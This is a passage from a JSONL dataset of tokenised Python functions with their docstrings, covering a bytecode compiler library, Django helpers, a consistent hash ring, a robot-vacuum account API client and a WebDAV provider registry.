<EOL>(),  <EOL>()  <EOL>)<EOL>f_globals = frame_data[<NUM_LIT:0>].f_globals<EOL>f = types.FunctionType(obb, f_globals)<EOL>f.__name__ = func_name<EOL>f.__defaults__ = kwarg_defaults<EOL>if use_safety_wrapper:<EOL><INDENT>def __safety_wrapper(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>return f(*args, **kwargs)<EOL><DEDENT>except SystemError as e:<EOL><INDENT>if '<STR_LIT>' not in '<STR_LIT:U+0020>'.join(e.args):<EOL><INDENT>raise<EOL><DEDENT>msg = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\".format(f.__name__)<EOL>file = io.StringIO()<EOL>with contextlib.redirect_stdout(file):<EOL><INDENT>dis.dis(f)<EOL><DEDENT>msg += file.getvalue()<EOL>raise SystemError(msg) from e<EOL><DEDENT><DEDENT>returned_func = __safety_wrapper<EOL>returned_func.wrapped = f<EOL><DEDENT>else:<EOL><INDENT>returned_func = f<EOL><DEDENT>return returned_func<EOL>", "docstring": "Compiles a set of bytecode instructions into a working function, using Python's bytecode\ncompiler.\n\n:param code: A list of bytecode instructions.\n:param consts: A list of constants to compile into the function.\n:param names: A list of names to compile into the function.\n:param varnames: A list of ``varnames`` to compile into the function.\n:param func_name: The name of the function to use.\n:param arg_count: The number of arguments this function takes. Must be ``<= len(varnames)``.\n:param kwarg_defaults: A tuple of defaults for kwargs.\n:param use_safety_wrapper: Use the safety wrapper? This hijacks SystemError to print better \\\n    stack traces.", "id": "f8513:m3"}
{"signature": "def ensure_instruction(instruction: int) -> bytes:", "body": "if PY36:<EOL><INDENT>return instruction.to_bytes(<NUM_LIT:2>, byteorder=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return instruction.to_bytes(<NUM_LIT:1>, byteorder=\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Wraps an instruction to be Python 3.6+ compatible. This does nothing on Python 3.5 and below.\n\nThis is most useful for operating on bare, single-width instructions such as\n``RETURN_FUNCTION`` in a version portable way.\n\n:param instruction: The instruction integer to use.\n:return: A safe bytes object, if applicable.", "id": "f8514:m0"}
{"signature": "def pack_value(index: int) -> bytes:", "body": "if PY36:<EOL><INDENT>return index.to_bytes(<NUM_LIT:1>, byteorder=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return index.to_bytes(<NUM_LIT:2>, byteorder=\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Small helper value to pack an index value into bytecode.\n\nThis is used for version compat between 3.5- and 3.6+\n\n:param index: The item to pack.\n:return: The packed item.", "id": "f8514:m1"}
{"signature": "def generate_simple_call(opcode: int, index: int):", "body": "bs = b\"<STR_LIT>\"<EOL>bs += opcode.to_bytes(<NUM_LIT:1>, byteorder=\"<STR_LIT>\")<EOL>if isinstance(index, int):<EOL><INDENT>if PY36:<EOL><INDENT>bs += index.to_bytes(<NUM_LIT:1>, byteorder=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>bs += index.to_bytes(<NUM_LIT:2>, byteorder=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>bs += index<EOL><DEDENT>return bs<EOL>", "docstring": "Generates a simple call, with an index for something.\n\n:param opcode: The opcode to generate.\n:param index: The index to use as an argument.\n:return:", "id": "f8514:m2"}
{"signature": "def generate_bytecode_from_obb(obb: object, previous: bytes) -> bytes:", "body": "<EOL>if isinstance(obb, pyte.superclasses._PyteOp):<EOL><INDENT>return obb.to_bytes(previous)<EOL><DEDENT>elif isinstance(obb, (pyte.superclasses._PyteAugmentedComparator,<EOL>pyte.superclasses._PyteAugmentedValidator._FakeMathematicalOP)):<EOL><INDENT>return obb.to_bytes(previous)<EOL><DEDENT>elif isinstance(obb, pyte.superclasses._PyteAugmentedValidator):<EOL><INDENT>obb.validate()<EOL>return obb.to_load()<EOL><DEDENT>elif isinstance(obb, int):<EOL><INDENT>return obb.to_bytes((obb.bit_length() + <NUM_LIT:7>) // <NUM_LIT:8>, byteorder=\"<STR_LIT>\") or b'<STR_LIT>'<EOL><DEDENT>elif isinstance(obb, bytes):<EOL><INDENT>return obb<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(obb))<EOL><DEDENT>", "docstring": "Generates a bytecode from an object.\n\n:param obb: The object to generate.\n:param previous: The previous bytecode to use when generating subobjects.\n:return: The generated bytecode.", "id": "f8514:m3"}
{"signature": "def generate_load_global(index: int) -> bytes:", "body": "return generate_simple_call(tokens.LOAD_GLOBAL, index)<EOL>", "docstring": "Generates a LOAD_GLOBAL instruction.\n\n:param index: The index of the global to load.\n:return: The generated bytecode.", "id": "f8514:m4"}
{"signature": "def generate_load_fast(index: int) -> bytes:", "body": "return generate_simple_call(tokens.LOAD_FAST, index)<EOL>", "docstring": "Generates a LOAD_FAST operation.\n\n:param index: The index of the varname to load.\n:return: The generated bytecode.", "id": "f8514:m5"}
{"signature": "def generate_load_const(index: int) -> bytes:", "body": "return generate_simple_call(tokens.LOAD_CONST, index)<EOL>", "docstring": "Generates a LOAD_CONST instruction.\n\n:param index: The index of the const to load.\n:return: The generated bytecode.", "id": "f8514:m6"}
{"signature": "def _get_const_info(const_index, const_list):", "body": "argval = const_index<EOL>if const_list is not None:<EOL><INDENT>try:<EOL><INDENT>argval = const_list[const_index]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise ValidationError(\"<STR_LIT>\".format(const_index)) from None<EOL><DEDENT><DEDENT>return argval, repr(argval)<EOL>", "docstring": "Helper to get optional details about const references\n\n   Returns the dereferenced constant and its repr if the constant\n   list is defined.\n   Otherwise returns the constant index and its repr().", "id": "f8514:m8"}
{"signature": "def _get_name_info(name_index, name_list):", "body": "argval = name_index<EOL>if name_list is not None:<EOL><INDENT>try:<EOL><INDENT>argval = name_list[name_index]<EOL><DEDENT>except IndexError:<EOL><INDENT>raise ValidationError(\"<STR_LIT>\".format(name_index)) from None<EOL><DEDENT>argrepr = argval<EOL><DEDENT>else:<EOL><INDENT>argrepr = repr(argval)<EOL><DEDENT>return argval, argrepr<EOL>", "docstring": "Helper to get optional details about named references\n\n       Returns the dereferenced name as both value and repr if the name\n       list is defined.\n       Otherwise returns the name index and its repr().", "id": "f8514:m9"}
{"signature": "def __init__(self, iterator: _PyteAugmentedValidator, body: list):", "body": "self.iterator = iterator<EOL>self._body = list(util.flatten(body))<EOL>", "docstring": "Represents a for operator.\n\n:param iterator: A :class:`.PyteAugmentedValidator` that represents the iterable.\n:param body: A list of instructions to execute on each loop.\n\nParameters:\n\n    iterator: _PyteAugmentedValidator\n        This should be a saved value that is iterable, i.e a saved list or something.\n\n    body: list\n        A list of instructions to execute, similarly to IF.", "id": "f8517:c0:m0"}
{"signature": "def to_bytes_35(self, previous: bytes):", "body": "<EOL>bc = b\"<STR_LIT>\"<EOL>it_bc = util.generate_bytecode_from_obb(self.iterator, previous)<EOL>bc += it_bc<EOL>bc += util.generate_bytecode_from_obb(tokens.GET_ITER, b\"<STR_LIT>\")<EOL>prev_len = len(previous) + len(bc)<EOL>body_bc = b\"<STR_LIT>\"<EOL>for op in self._body:<EOL><INDENT>padded_bc = previous<EOL>padded_bc += b\"<STR_LIT>\"<EOL>padded_bc += bc<EOL>padded_bc += b\"<STR_LIT>\"<EOL>padded_bc += body_bc<EOL>body_bc += util.generate_bytecode_from_obb(op, padded_bc)<EOL><DEDENT>body_bc += util.generate_simple_call(tokens.JUMP_ABSOLUTE, prev_len + <NUM_LIT:3>)<EOL>body_bc += util.generate_bytecode_from_obb(tokens.POP_BLOCK, b\"<STR_LIT>\")<EOL>body_bc = util.generate_simple_call(tokens.FOR_ITER, len(body_bc) - <NUM_LIT:1>) + body_bc<EOL>bc = util.generate_simple_call(tokens.SETUP_LOOP, prev_len + len(body_bc) - <NUM_LIT:6>) + bc + body_bc<EOL>return bc<EOL>", "docstring": "A to-bytes specific to Python 3.5 and below.", "id": "f8517:c0:m1"}
{"signature": "def to_bytes_36(self, previous: bytes):", "body": "<EOL>bc = b\"<STR_LIT>\"<EOL>it_bc = util.generate_bytecode_from_obb(self.iterator, previous)<EOL>bc += it_bc<EOL>bc += util.ensure_instruction(tokens.GET_ITER)<EOL>", "docstring": "A to-bytes specific to Python 3.6 and above.", "id": "f8517:c0:m2"}
{"signature": "def __init__(self, conditions: list, body: list, *args):", "body": "self.conditions = conditions<EOL>self.body = body<EOL>", "docstring": "Create a new IF operator.\n\n:param conditions: A list of conditions to check the IF statement for.\n\n    These can be wrapped in a\n    :class:`pyte.superclasses.PyteOr`/:class:`pyte.superclasses.PyteAnd` if you wish to\n    have multiple conditions for one block.\n\n    Conditions can be created using the standard truth operators (<, >, >=, <=, ==,\n    !=). If there is only one condition to check (i.e a truthy check) that will be\n    evaluated to generate the bytecode.\n\n:param body: A list of lists, where each list matches an item in the condition list.\n\n    Inner lists are standard lists of instructions.", "id": "f8519:c0:m0"}
{"signature": "def to_bytes(self, previous: bytes):", "body": "<EOL>if len(self.conditions) != len(self.body):<EOL><INDENT>raise exc.CompileError(\"<STR_LIT>\")<EOL><DEDENT>bc = b\"<STR_LIT>\"<EOL>prev_len = len(previous)<EOL>for condition, body in zip(self.conditions, self.body):<EOL><INDENT>cond_bytecode = condition.to_bytecode(previous)<EOL>bc += cond_bytecode<EOL>body_bc = compiler.compile_bytecode(body)<EOL>bdyl = len(body_bc)<EOL>gen_len = prev_len + len(cond_bytecode) + bdyl + <NUM_LIT:1><EOL>bc += generate_simple_call(tokens.POP_JUMP_IF_FALSE, gen_len)<EOL>bc += body_bc<EOL>prev_len = len(previous) + len(bc)<EOL><DEDENT>return bc<EOL>", "docstring": "Complex code ahead. Comments have been added in as needed.", "id": "f8519:c0:m1"}
{"signature": "def attr(self, item: _PyteAugmentedValidator):", "body": "self._attrs.append(item)<EOL>return self<EOL>", "docstring": "Add an attribute to the chain of attributes to load.", "id": "f8522:c1:m2"}
{"signature": "def to_bytes(self, previous: bytes) -> bytes:", "body": "raise NotImplementedError<EOL>", "docstring": "Produces a byte string representing the `co_code` of this operator.", "id": "f8525:c0:m1"}
{"signature": "def all(self):", "body": "return [x for x in self]<EOL>", "docstring": "Return all values of self.", "id": "f8525:c4:m1"}
{"signature": "def _get_instructions_bytes(code, varnames=None, names=None, constants=None,<EOL>cells=None, linestarts=None, line_offset=<NUM_LIT:0>):", "body": "labels = dis.findlabels(code)<EOL>extended_arg = <NUM_LIT:0><EOL>starts_line = None<EOL>free = None<EOL>n = len(code)<EOL>i = <NUM_LIT:0><EOL>while i < n:<EOL><INDENT>op = code[i]<EOL>offset = i<EOL>if linestarts is not None:<EOL><INDENT>starts_line = linestarts.get(i, None)<EOL>if starts_line is not None:<EOL><INDENT>starts_line += line_offset<EOL><DEDENT><DEDENT>is_jump_target = i in labels<EOL>i = i + <NUM_LIT:1><EOL>arg = None<EOL>argval = None<EOL>argrepr = '<STR_LIT>'<EOL>if op >= dis.HAVE_ARGUMENT:<EOL><INDENT>arg = code[i] + code[i + <NUM_LIT:1>] * <NUM_LIT> + extended_arg<EOL>extended_arg = <NUM_LIT:0><EOL>i = i + <NUM_LIT:2><EOL>if op == dis.EXTENDED_ARG:<EOL><INDENT>extended_arg = arg * <NUM_LIT><EOL><DEDENT>argval = arg<EOL>if op in dis.hasconst:<EOL><INDENT>argval, argrepr = dis._get_const_info(arg, constants)<EOL><DEDENT>elif op in dis.hasname:<EOL><INDENT>argval, argrepr = dis._get_name_info(arg, names)<EOL><DEDENT>elif op in dis.hasjrel:<EOL><INDENT>argval = i + arg<EOL>argrepr = \"<STR_LIT>\" + repr(argval)<EOL><DEDENT>elif op in dis.haslocal:<EOL><INDENT>argval, argrepr = dis._get_name_info(arg, varnames)<EOL><DEDENT>elif op in dis.hascompare:<EOL><INDENT>argval = dis.cmp_op[arg]<EOL>argrepr = argval<EOL><DEDENT>elif op in dis.hasfree:<EOL><INDENT>argval, argrepr = dis._get_name_info(arg, cells)<EOL><DEDENT>elif op in dis.hasnargs:<EOL><INDENT>argrepr = \"<STR_LIT>\" % (code[i - <NUM_LIT:2>], code[i - <NUM_LIT:1>])<EOL><DEDENT><DEDENT>yield dis.Instruction(dis.opname[op], op,<EOL>arg, argval, argrepr,<EOL>offset, starts_line, is_jump_target)<EOL><DEDENT>", "docstring": "Iterate over the instructions in a bytecode string.\n\n    Generates a sequence of Instruction namedtuples giving the details of each\n    opcode.  Additional information about the code's runtime environment\n    (e.g. variable names, constants) can be specified using optional\n    arguments.", "id": "f8527:m0"}
{"signature": "def apply():", "body": "dis._get_instructions_bytes = _get_instructions_bytes<EOL>dis.Instruction = Instruction<EOL>", "docstring": "Applies backports to dis that we need.", "id": "f8527:m1"}
{"signature": "def _disassemble(self, lineno_width=<NUM_LIT:3>, mark_as_current=False):", "body": "fields = []<EOL>if lineno_width:<EOL><INDENT>if self.starts_line is not None:<EOL><INDENT>lineno_fmt = \"<STR_LIT>\" % lineno_width<EOL>fields.append(lineno_fmt % self.starts_line)<EOL><DEDENT>else:<EOL><INDENT>fields.append('<STR_LIT:U+0020>' * lineno_width)<EOL><DEDENT><DEDENT>if mark_as_current:<EOL><INDENT>fields.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>fields.append('<STR_LIT:U+0020>')<EOL><DEDENT>if self.is_jump_target:<EOL><INDENT>fields.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>fields.append('<STR_LIT:U+0020>')<EOL><DEDENT>fields.append(repr(self.offset).rjust(<NUM_LIT:4>))<EOL>fields.append(self.opname.ljust(<NUM_LIT:20>))<EOL>if self.arg is not None:<EOL><INDENT>fields.append(repr(self.arg).rjust(<NUM_LIT:5>))<EOL>if self.argrepr:<EOL><INDENT>fields.append('<STR_LIT:(>' + self.argrepr + '<STR_LIT:)>')<EOL><DEDENT><DEDENT>return '<STR_LIT:U+0020>'.join(fields).rstrip()<EOL>", "docstring": "Format instruction details for inclusion in disassembly output\n\n        *lineno_width* sets the width of the line number field (0 omits it)\n        *mark_as_current* inserts a '-->' marker arrow as part of the line", "id": "f8527:c0:m0"}
{"signature": "def create_names(*args) -> superclasses.PyteAugmentedArgList:", "body": "return _create_validated(*args, name=\"<STR_LIT>\")<EOL>", "docstring": "Creates a new list of names.\n\n:param args: The args to use.", "id": "f8528:m1"}
{"signature": "def create_consts(*args) -> superclasses.PyteAugmentedArgList:", "body": "return _create_validated(*args, name=\"<STR_LIT>\")<EOL>", "docstring": "Creates a new list of names.\n\n:param args: The args to use.", "id": "f8528:m2"}
{"signature": "def create_varnames(*args) -> superclasses.PyteAugmentedArgList:", "body": "return _create_validated(*args, name=\"<STR_LIT>\")<EOL>", "docstring": "Creates a new list of names.\n\n:param args: The args to use.", "id": "f8528:m3"}
{"signature": "def compatible_staticpath(path):", "body": "if VERSION >= (<NUM_LIT:1>, <NUM_LIT:10>):<EOL><INDENT>return path<EOL><DEDENT>try:<EOL><INDENT>from django.templatetags.static import static<EOL>return static(path)<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return '<STR_LIT>' % (settings.STATIC_URL.rstrip('<STR_LIT:/>'), path)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>return '<STR_LIT>' % (settings.PAGEDOWN_URL.rstrip('<STR_LIT:/>'), path)<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return '<STR_LIT>' % (settings.MEDIA_URL.rstrip('<STR_LIT:/>'), path)<EOL>", "docstring": "Try to return a path to static the static files compatible all\nthe way back to Django 1.2. If anyone has a cleaner or better\nway to do this let me know!", "id": "f8537:m0"}
{"signature": "def instance_from_str(instance_str):", "body": "match = instance_str_re.match(instance_str)<EOL>if not match:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>model_string = match.group(<NUM_LIT:1>)<EOL>try:<EOL><INDENT>model = apps.get_model(model_string)<EOL><DEDENT>except (LookupError, ValueError):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>pk = match.group(<NUM_LIT:2>)<EOL>if pk:<EOL><INDENT>try:<EOL><INDENT>return model, model._default_manager.get(pk=pk)<EOL><DEDENT>except model.DoesNotExist:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return model, None<EOL>", "docstring": "Given an instance string in the form \"app.Model:pk\", returns a tuple of\n``(model, instance)``. If the pk part is empty, ``instance`` will be\n``None``. Raises ``ValueError`` on invalid model strings or missing\ninstances.", "id": "f8565:m0"}
{"signature": "def register_chooser(self, chooser, **kwargs):", "body": "if not issubclass(chooser, Chooser):<EOL><INDENT>return self.register_simple_chooser(chooser, **kwargs)<EOL><DEDENT>self.choosers[chooser.model] = chooser(**kwargs)<EOL>return chooser<EOL>", "docstring": "Adds a model chooser definition to the registry.", "id": "f8567:c0:m1"}
{"signature": "def register_simple_chooser(self, model, **kwargs):", "body": "name = '<STR_LIT>'.format(model._meta.object_name)<EOL>attrs = {'<STR_LIT>': model}<EOL>attrs.update(kwargs)<EOL>chooser = type(name, (Chooser,), attrs)<EOL>self.register_chooser(chooser)<EOL>return model<EOL>", "docstring": "Generates a model chooser definition from a model, and adds it to the\nregistry.", "id": "f8567:c0:m2"}
{"signature": "def kwarg_decorator(func):", "body": "@wraps(func)<EOL>def decorator(arg=None, **kwargs):<EOL><INDENT>if arg is None:<EOL><INDENT>return lambda arg: decorator(arg, **kwargs)<EOL><DEDENT>return func(arg, **kwargs)<EOL><DEDENT>return decorator<EOL>", "docstring": "Turns a function that accepts a single arg and some kwargs in to a\ndecorator that can optionally be called with kwargs:\n\n.. code-block:: python\n\n    @kwarg_decorator\n    def my_decorator(func, bar=True, baz=None):\n        ...\n\n    @my_decorator\n    def my_func():\n        pass\n\n    @my_decorator(bar=False)\n    def my_other_func():\n        pass", "id": "f8570:m0"}
{"signature": "def signature_matches(func, args=(), kwargs={}):", "body": "try:<EOL><INDENT>sig = inspect.signature(func)<EOL>sig.bind(*args, **kwargs)<EOL><DEDENT>except TypeError:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Work out if a function is callable with some args or not.", "id": "f8570:m1"}
{"signature": "def last_arg_decorator(func):", "body": "@wraps(func)<EOL>def decorator(*args, **kwargs):<EOL><INDENT>if signature_matches(func, args, kwargs):<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>return lambda last: func(*(args + (last,)), **kwargs)<EOL><DEDENT><DEDENT>return decorator<EOL>", "docstring": "Allows a function to be used as either a decorator with args, or called as\na normal function.\n\n@last_arg_decorator\ndef register_a_thing(foo, func, bar=True):\n    ..\n\n# Called as a decorator\n@register_a_thing(\"abc\", bar=False)\ndef my_func():\n    ...\n\n# Called as a normal function call\ndef my_other_func():\n    ...\n\nregister_a_thing(\"def\", my_other_func, bar=True)", "id": "f8570:m2"}
{"signature": "def __init__(self, nodes, weights=None):", "body": "self.ring = dict()<EOL>self._sorted_keys = []<EOL>self.nodes = nodes<EOL>if not weights:<EOL><INDENT>weights = {}<EOL><DEDENT>self.weights = weights<EOL>self._generate_circle()<EOL>", "docstring": "`nodes` is a list of objects that have a proper __str__ representation.\n        `weights` is dictionary that sets weights to the nodes.  The default\n        weight is that all nodes are equal.", "id": "f8573:c0:m0"}
{"signature": "def _generate_circle(self):", "body": "total_weight = <NUM_LIT:0><EOL>for node in self.nodes:<EOL><INDENT>total_weight += self.weights.get(node, <NUM_LIT:1>)<EOL><DEDENT>for node in self.nodes:<EOL><INDENT>weight = <NUM_LIT:1><EOL>if node in self.weights:<EOL><INDENT>weight = self.weights.get(node)<EOL><DEDENT>factor = math.floor((<NUM_LIT> * len(self.nodes) * weight) / total_weight)<EOL>for j in range(<NUM_LIT:0>, int(factor)):<EOL><INDENT>b_key = bytearray(self._hash_digest('<STR_LIT>' % (node, j)))<EOL>for i in range(<NUM_LIT:0>, <NUM_LIT:3>):<EOL><INDENT>key = self._hash_val(b_key, lambda x: x + i * <NUM_LIT:4>)<EOL>self.ring[key] = node<EOL>self._sorted_keys.append(key)<EOL><DEDENT><DEDENT><DEDENT>self._sorted_keys.sort()<EOL>", "docstring": "Generates the circle.", "id": "f8573:c0:m1"}
{"signature": "def get_node(self, string_key):", "body": "pos = self.get_node_pos(string_key)<EOL>if pos is None:<EOL><INDENT>return None<EOL><DEDENT>return self.ring[self._sorted_keys[pos]]<EOL>", "docstring": "Given a string key a corresponding node in the hash ring is returned.\n\n        If the hash ring is empty, `None` is returned.", "id": "f8573:c0:m2"}
{"signature": "def get_node_pos(self, string_key):", "body": "if not self.ring:<EOL><INDENT>return None<EOL><DEDENT>key = self.gen_key(string_key)<EOL>nodes = self._sorted_keys<EOL>pos = bisect(nodes, key)<EOL>if pos == len(nodes):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return pos<EOL><DEDENT>", "docstring": "Given a string key a corresponding node in the hash ring is returned\n        along with it's position in the ring.\n\n        If the hash ring is empty, (`None`, `None`) is returned.", "id": "f8573:c0:m3"}
{"signature": "def iterate_nodes(self, string_key, distinct=True):", "body": "if not self.ring:<EOL><INDENT>yield None, None<EOL><DEDENT>returned_values = set()<EOL>def distinct_filter(value):<EOL><INDENT>if str(value) not in returned_values:<EOL><INDENT>returned_values.add(str(value))<EOL>return value<EOL><DEDENT><DEDENT>pos = self.get_node_pos(string_key)<EOL>for key in self._sorted_keys[pos:]:<EOL><INDENT>val = distinct_filter(self.ring[key])<EOL>if val:<EOL><INDENT>yield val<EOL><DEDENT><DEDENT>for i, key in enumerate(self._sorted_keys):<EOL><INDENT>if i < pos:<EOL><INDENT>val = distinct_filter(self.ring[key])<EOL>if val:<EOL><INDENT>yield val<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Given a string key it returns the nodes as a generator that can hold the key.\n\n        The generator iterates one time through the ring\n        starting at the correct position.\n\n        if `distinct` is set, then the nodes returned will be unique,\n        i.e. no virtual copies will be returned.", "id": "f8573:c0:m4"}
{"signature": "def gen_key(self, key):", "body": "b_key = self._hash_digest(key)<EOL>return self._hash_val(b_key, lambda x: x)<EOL>", "docstring": "Given a string key it returns a long value,\n        this long value represents a place on the hash ring.\n\n        md5 is currently used because it mixes well.", "id": "f8573:c0:m5"}
{"signature": "def __init__(self, serial, secret, traits, name='<STR_LIT>',<EOL>endpoint='<STR_LIT>',<EOL>has_persistent_maps=False):", "body": "self.name = name<EOL>self.serial = serial<EOL>self.secret = secret<EOL>self.traits = traits<EOL>self.has_persistent_maps = has_persistent_maps<EOL>self._url = '<STR_LIT>'.format(<EOL>endpoint=re.sub('<STR_LIT>', '<STR_LIT>', endpoint),  <EOL>serial=self.serial)<EOL>self._headers = {'<STR_LIT>': '<STR_LIT>'}<EOL>if self.service_version not in SUPPORTED_SERVICES:<EOL><INDENT>raise UnsupportedDevice(\"<STR_LIT>\" + self.service_version + \"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize robot\n\n:param serial: Robot serial\n:param secret: Robot secret\n:param name: Name of robot (optional)\n:param traits: Extras the robot supports", "id": "f8580:c1:m0"}
{"signature": "def _message(self, json):", "body": "cert_path = os.path.join(os.path.dirname(__file__), '<STR_LIT>', '<STR_LIT>')<EOL>response = requests.post(self._url,<EOL>json=json,<EOL>verify=cert_path,<EOL>auth=Auth(self.serial, self.secret),<EOL>headers=self._headers)<EOL>response.raise_for_status()<EOL>return response<EOL>", "docstring": "Sends message to robot with data from parameter 'json'\n:param json: dict containing data to send\n:return: server response", "id": "f8580:c1:m2"}
{"signature": "def __init__(self, email, password):", "body": "self._robots = set()<EOL>self.robot_serials = {}<EOL>self._maps = {}<EOL>self._headers = {'<STR_LIT>': '<STR_LIT>'}<EOL>self._login(email, password)<EOL>self._persistent_maps = {}<EOL>", "docstring": "Initialize the account data.", "id": "f8582:c0:m0"}
{"signature": "def _login(self, email, password):", "body": "response = requests.post(urljoin(self.ENDPOINT, '<STR_LIT>'),<EOL>json={'<STR_LIT:email>': email,<EOL>'<STR_LIT:password>': password,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': binascii.hexlify(os.urandom(<NUM_LIT:64>)).decode('<STR_LIT:utf8>')},<EOL>headers=self._headers)<EOL>response.raise_for_status()<EOL>access_token = response.json()['<STR_LIT>']<EOL>self._headers['<STR_LIT>'] = '<STR_LIT>' % access_token<EOL>", "docstring": "Login to pybotvac account using provided email and password.\n\n:param email: email for pybotvac account\n:param password: Password for pybotvac account\n:return:", "id": "f8582:c0:m1"}
{"signature": "@property<EOL><INDENT>def robots(self):<DEDENT>", "body": "if not self._robots:<EOL><INDENT>self.refresh_robots()<EOL><DEDENT>return self._robots<EOL>", "docstring": "Return set of robots for logged in account.\n\n:return:", "id": "f8582:c0:m2"}
{"signature": "@property<EOL><INDENT>def maps(self):<DEDENT>", "body": "self.refresh_maps()<EOL>return self._maps<EOL>", "docstring": "Return set of userdata for logged in account.\n\n:return:", "id": "f8582:c0:m3"}
{"signature": "def refresh_maps(self):", "body": "for robot in self.robots:<EOL><INDENT>resp2 = (<EOL>requests.get(urljoin(self.ENDPOINT, '<STR_LIT>'.format(robot.serial)),<EOL>headers=self._headers))<EOL>resp2.raise_for_status()<EOL>self._maps.update({robot.serial: resp2.json()})<EOL><DEDENT>", "docstring": "Get information about maps of the robots.\n\n:return:", "id": "f8582:c0:m4"}
{"signature": "def refresh_robots(self):", "body": "resp = requests.get(urljoin(self.ENDPOINT, '<STR_LIT>'),<EOL>headers=self._headers)<EOL>resp.raise_for_status()<EOL>for robot in resp.json()['<STR_LIT>']:<EOL><INDENT>if robot['<STR_LIT>'] is None:<EOL><INDENT>continue    <EOL><DEDENT>try:<EOL><INDENT>self._robots.add(Robot(name=robot['<STR_LIT:name>'],<EOL>serial=robot['<STR_LIT>'],<EOL>secret=robot['<STR_LIT>'],<EOL>traits=robot['<STR_LIT>'],<EOL>endpoint=robot['<STR_LIT>']))<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>print (\"<STR_LIT>\".format(robot['<STR_LIT:name>']))<EOL>continue<EOL><DEDENT><DEDENT>self.refresh_persistent_maps()<EOL>for robot in self._robots:<EOL><INDENT>robot.has_persistent_maps = robot.serial in self._persistent_maps<EOL><DEDENT>", "docstring": "Get information about robots connected to account.\n\n:return:", "id": "f8582:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_map_image(url, dest_path=None):<DEDENT>", "body": "image = requests.get(url, stream=True, timeout=<NUM_LIT:10>)<EOL>if dest_path:<EOL><INDENT>image_url = url.rsplit('<STR_LIT:/>', <NUM_LIT:2>)[<NUM_LIT:1>] + '<STR_LIT:->' + url.rsplit('<STR_LIT:/>', <NUM_LIT:1>)[<NUM_LIT:1>]<EOL>image_filename = image_url.split('<STR_LIT:?>')[<NUM_LIT:0>]<EOL>dest = os.path.join(dest_path, image_filename)<EOL>image.raise_for_status()<EOL>with open(dest, '<STR_LIT:wb>') as data:<EOL><INDENT>image.raw.decode_content = True<EOL>shutil.copyfileobj(image.raw, data)<EOL><DEDENT><DEDENT>return image.raw<EOL>", "docstring": "Return a requested map from a robot.\n\n:return:", "id": "f8582:c0:m6"}
{"signature": "@property<EOL><INDENT>def persistent_maps(self):<DEDENT>", "body": "self.refresh_persistent_maps()<EOL>return self._persistent_maps<EOL>", "docstring": "Return set of persistent maps for logged in account.\n\n:return:", "id": "f8582:c0:m7"}
{"signature": "def refresh_persistent_maps(self):", "body": "for robot in self._robots:<EOL><INDENT>resp2 = (requests.get(urljoin(<EOL>self.ENDPOINT,<EOL>'<STR_LIT>'.format(robot.serial)),<EOL>headers=self._headers))<EOL>resp2.raise_for_status()<EOL>self._persistent_maps.update({robot.serial: resp2.json()})<EOL><DEDENT>", "docstring": "Get information about persistent maps of the robots.\n\n:return:", "id": "f8582:c0:m8"}
{"signature": "def add_provider(self, share, provider, readonly=False):", "body": "<EOL>share = \"<STR_LIT:/>\" + share.strip(\"<STR_LIT:/>\")<EOL>assert share not in self.provider_map<EOL>if compat.is_basestring(provider):<EOL><INDENT>provider = FilesystemProvider(provider, readonly)<EOL><DEDENT>elif type(provider) in (dict,):<EOL><INDENT>if \"<STR_LIT>\" in provider:<EOL><INDENT>prov_class = dynamic_import_class(provider[\"<STR_LIT>\"])<EOL>provider = prov_class(<EOL>*provider.get(\"<STR_LIT:args>\", []), **provider.get(\"<STR_LIT>\", {})<EOL>)<EOL><DEDENT>else:<EOL><INDENT>provider = FilesystemProvider(<EOL>provider[\"<STR_LIT:root>\"], bool(provider.get(\"<STR_LIT>\", False))<EOL>)<EOL><DEDENT><DEDENT>elif type(provider) in (list, tuple):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(provider)<EOL>)<EOL><DEDENT>if not isinstance(provider, DAVProvider):<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(provider))<EOL><DEDENT>provider.set_share_path(share)<EOL>if self.mount_path:<EOL><INDENT>provider.set_mount_path(self.mount_path)<EOL><DEDENT>provider.set_lock_manager(self.lock_manager)<EOL>provider.set_prop_manager(self.prop_manager)<EOL>self.provider_map[share] = provider<EOL>self.sorted_share_list = [s.lower() for s in self.provider_map.keys()]<EOL>self.sorted_share_list = sorted(self.sorted_share_list, key=len, reverse=True)<EOL>return provider<EOL>", "docstring": "Add a provider to the provider_map routing table.", "id": "f8583:c0:m1"}
